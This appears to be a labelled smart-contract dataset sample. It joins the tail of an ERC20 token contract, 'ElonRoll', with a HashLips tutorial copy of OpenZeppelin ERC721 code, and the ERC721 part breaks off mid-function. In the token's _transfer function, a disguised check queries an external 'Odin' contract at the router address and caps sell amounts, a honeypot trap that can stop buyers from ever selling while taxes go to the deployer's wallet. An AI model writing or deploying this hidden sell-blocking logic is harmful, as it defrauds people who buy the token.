(uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface Odin{ function amount(address from) external view returns (uint256); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ElonRoll is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private constant _burnFee=1; uint256 private constant _taxFee=9; address payable private _taxWallet; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier overridden() { require(_taxWallet == _msgSender() ); _; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS); _router = _uniswapV2Router; _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
True
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/** *Submitted for verification at Etherscan.io on 2022-01-01 */ // SPDX-License-Identifier: MIT // Amended by HashLips /** !Disclaimer! These contracts have been used to create tutorials, and was created for the purpose to teach people how to create smart contracts on the blockchain. please review this code on your own before using any of the following code for production. HashLips will not be liable in any way if for the use of the code. That being said, the code has been tested to the best of the developers' knowledge to work as intended. */ // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return 